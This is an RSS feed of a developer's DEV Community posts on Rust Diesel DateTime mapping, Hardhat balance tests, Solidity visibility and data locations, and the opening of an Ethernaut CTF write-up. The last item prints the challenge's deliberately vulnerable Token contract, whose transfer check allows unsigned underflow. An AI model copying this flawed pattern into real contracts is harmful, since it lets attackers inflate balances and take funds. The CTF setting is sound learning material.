<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Turbo Panumarch</title>
    <description>The latest articles on DEV Community by Turbo Panumarch (@turboza).</description>
    <link>https://dev.to/turboza</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F305544%2Fcf9d492a-bb58-43c0-b801-4af66b3523ad.jpeg</url>
      <title>DEV Community: Turbo Panumarch</title>
      <link>https://dev.to/turboza</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/turboza"/>
    <language>en</language>
    <item>
      <title>Rust: Using DateTime in Diesel with MySQL</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Sat, 03 Dec 2022 12:23:16 +0000</pubDate>
      <link>https://dev.to/turboza/using-datetime-in-rust-diesel-with-mysql-31ib</link>
      <guid>https://dev.to/turboza/using-datetime-in-rust-diesel-with-mysql-31ib</guid>
      <description>&lt;h3&gt;
  
  
  Problem:
&lt;/h3&gt;

&lt;p&gt;When I tried to map the model with date and time field, I got this compiler error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;error[E0277]: the trait bound `(Integer, Datetime): 
load_dsl::private::CompatibleType&amp;lt;myapp::models::MyModel, _&amp;gt;` 
is not satisfied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From this set of model and schema:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// models.rs&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;MyModel&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NaiveDateTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// schema.rs&lt;/span&gt;
&lt;span class="nn"&gt;diesel&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;table!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;my_table&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;created_at&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Solution:
&lt;/h3&gt;

&lt;p&gt;Fortunately, I found the document mentioned about the &lt;a href="https://docs.diesel.rs/diesel/mysql/types/struct.Datetime.html" rel="noopener noreferrer"&gt;DateTime field&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9al1tbrpwnb783buqup.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9al1tbrpwnb783buqup.png" alt="Image description" width="800" height="296"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we just need to put the feature &lt;code&gt;"chrono"&lt;/code&gt; to enable it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cargo.toml&lt;/span&gt;
&lt;span class="py"&gt;diesel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"2.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"mysql"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"chrono"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it works! ✅ 🎉&lt;/p&gt;

&lt;h3&gt;
  
  
  Tips:
&lt;/h3&gt;

&lt;p&gt;For &lt;a href="https://docs.rs/diesel/2.0.2/diesel/sql_types/struct.Json.html" rel="noopener noreferrer"&gt;JSON field&lt;/a&gt;, you will also need the &lt;code&gt;serde_json&lt;/code&gt; feature in Cargo.toml.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="py"&gt;diesel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"2.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"mysql"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"chrono"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"serde_json"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>rust</category>
      <category>mysql</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Hardhat: How to Test ETH Balance Change.</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Thu, 07 Apr 2022 10:18:10 +0000</pubDate>
      <link>https://dev.to/turboza/solidity-testing-eth-balance-change-can-be-troublesome-42b8</link>
      <guid>https://dev.to/turboza/solidity-testing-eth-balance-change-can-be-troublesome-42b8</guid>
      <description>&lt;h4&gt;
  
  
  UPDATED: May 23, 2022
&lt;/h4&gt;

&lt;p&gt;We can use this quick way to do it. Read more here: &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html"&gt;https://ethereum-waffle.readthedocs.io/en/latest/matchers.html&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;withdrawAllETH&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changeEtherBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Let's say you are implementing the NFT selling contract. And the owner can withdraw the ETH to herself. &lt;/p&gt;

&lt;p&gt;Something like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// solidity
&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdrawAllETH&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What do we want to test? 🧑‍🔧
&lt;/h3&gt;

&lt;p&gt;One of them is to check if the owner receive the ETH correctly! 🤑 &lt;/p&gt;

&lt;p&gt;Let's do it together! 🔥&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: I am using &lt;a href="https://hardhat.org/tutorial/testing-contracts.html"&gt;Hardhat&lt;/a&gt; here as a sample of testing.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// javascript&lt;/span&gt;
&lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;owner can withdraw all ETH&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// let's say contract has 5 ETH, owner has 10 ETH&lt;/span&gt;

  &lt;span class="c1"&gt;// 1. let's do a withdrawal&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;withdrawAllETH&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="c1"&gt;// 2. Now owner should have 15 ETH, right?&lt;/span&gt;
  &lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And when we run it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❌ AssertionError: Expected "14999957824852287212" to be equal 15000000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What the bug!? 🐞🐞🐞
&lt;/h3&gt;

&lt;p&gt;The test says the actual balance is &lt;code&gt;14.999.. ETH&lt;/code&gt; not &lt;code&gt;15 ETH&lt;/code&gt;. Well... I forgot to check about the gas spent. But how do we do it? &lt;/p&gt;

&lt;p&gt;Thanks to our beloved &lt;a href="https://ethereum.stackexchange.com/a/118422/76945"&gt;StackOverflow thread&lt;/a&gt; (as always 😂), we got a solution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Gas Spent = Gas Used x Effective Gas Price
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we can get the data from the transaction receipt!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: we can use &lt;code&gt;cumulativeGasUsed&lt;/code&gt; instead of &lt;code&gt;gasUsed&lt;/code&gt; if you want to get the gas spent from the whole block.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  The Solution 🌟
&lt;/h3&gt;

&lt;p&gt;Ok, now I know it, let's do this instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 2nd attempt&lt;/span&gt;
&lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;owner can withdraw all ETH&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// let's say contract has 5 ETH, owner has 10 ETH&lt;/span&gt;

  &lt;span class="c1"&gt;// 1. let's do a withdrawal&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;withdrawAllETH&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="c1"&gt;// 2. Let's calculate the gas spent&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;receipt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;gasSpent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;receipt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;gasUsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mul&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;receipt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;effectiveGasPrice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="c1"&gt;// 3. Now we know, it is 15 ETH minus by gasSpent! &lt;/span&gt;
  &lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gasSpent&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And when we run it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✔ owner can withdraw all ETH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yey! And now it works! 🥳🥳🥳&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>testing</category>
      <category>web3</category>
      <category>hardhat</category>
    </item>
    <item>
      <title>Solidity: external vs. public &amp; memory vs. calldata vs. storage</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Fri, 01 Apr 2022 08:30:30 +0000</pubDate>
      <link>https://dev.to/turboza/solidity-external-vs-public-memory-vs-calldata-vs-storage-33bg</link>
      <guid>https://dev.to/turboza/solidity-external-vs-public-memory-vs-calldata-vs-storage-33bg</guid>
      <description>&lt;p&gt;It is written in many places how these things are. But what not easy to decide &lt;strong&gt;when to use which of them&lt;/strong&gt;, as it needs a deeper understanding to choose. &lt;/p&gt;

&lt;p&gt;So I want to note the quick heuristic methods to choose these. &lt;/p&gt;

&lt;h2&gt;
  
  
  Public vs. External
&lt;/h2&gt;

&lt;p&gt;TL;DR;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;So if you know the function you create only allows for external calls, go for &lt;code&gt;external&lt;/code&gt;. It provides performance benefits and you will save on gas.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Basically, &lt;code&gt;public&lt;/code&gt; means it can be &lt;code&gt;external&lt;/code&gt; or &lt;code&gt;internal&lt;/code&gt;, the compiler need additional work for the public function. With the &lt;code&gt;external&lt;/code&gt; only, it allows arguments to be read directly from &lt;code&gt;calldata&lt;/code&gt;, saving the copying step.&lt;/p&gt;

&lt;p&gt;Easy read here: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac"&gt;https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ethereum.stackexchange.com/a/19391/76945"&gt;https://ethereum.stackexchange.com/a/19391/76945&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Memory vs. Calldata vs. Storage
&lt;/h2&gt;

&lt;p&gt;TL;DR;&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;use &lt;code&gt;calldata&lt;/code&gt; when you only need read-only data, avoiding the cost of allocating memory or storage.&lt;/li&gt;
&lt;li&gt;use &lt;code&gt;memory&lt;/code&gt; if you want your argument to be mutable.&lt;/li&gt;
&lt;li&gt;use &lt;code&gt;storage&lt;/code&gt; if your argument will already exist in storage, to prevent copying something into storage over into memory unnecessarily.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ref: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ethereum.stackexchange.com/a/123692/76945"&gt;Easy example on why storage over memory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  To research more
&lt;/h2&gt;

&lt;p&gt;I am still not sure why most of the OpenZeppelin libs choose to use &lt;code&gt;memory&lt;/code&gt; over &lt;code&gt;calldata&lt;/code&gt;, although they don't mutate them. For example: &lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L179"&gt;https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L179&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>optimization</category>
    </item>
    <item>
      <title>Daily Ethernaut Challenge - #5 Token</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Thu, 11 Nov 2021 10:44:23 +0000</pubDate>
      <link>https://dev.to/turboza/daily-ethernaut-challenge-5-token-30ae</link>
      <guid>https://dev.to/turboza/daily-ethernaut-challenge-5-token-30ae</guid>
      <description>&lt;p&gt;This is the series on playing with &lt;a href="https://ethernaut.openzeppelin.com/"&gt;Ethernaut&lt;/a&gt;, a level-based solidity challenge focusing on the hands-on solidity/web3 hacking. And I like this for adding fun to learning. Thanks to Openzeppelin team.&lt;/p&gt;




&lt;h2&gt;
  
  
  Let's talk about the challenge
&lt;/h2&gt;

&lt;p&gt;This challenge has a difficulty of 3/10. We start with 20 tokens and have to increase our balance from the initial value. Sound simple?&lt;/p&gt;

&lt;p&gt;Here is the code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Token&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;totalSupply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_initialSupply&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;totalSupply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_initialSupply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



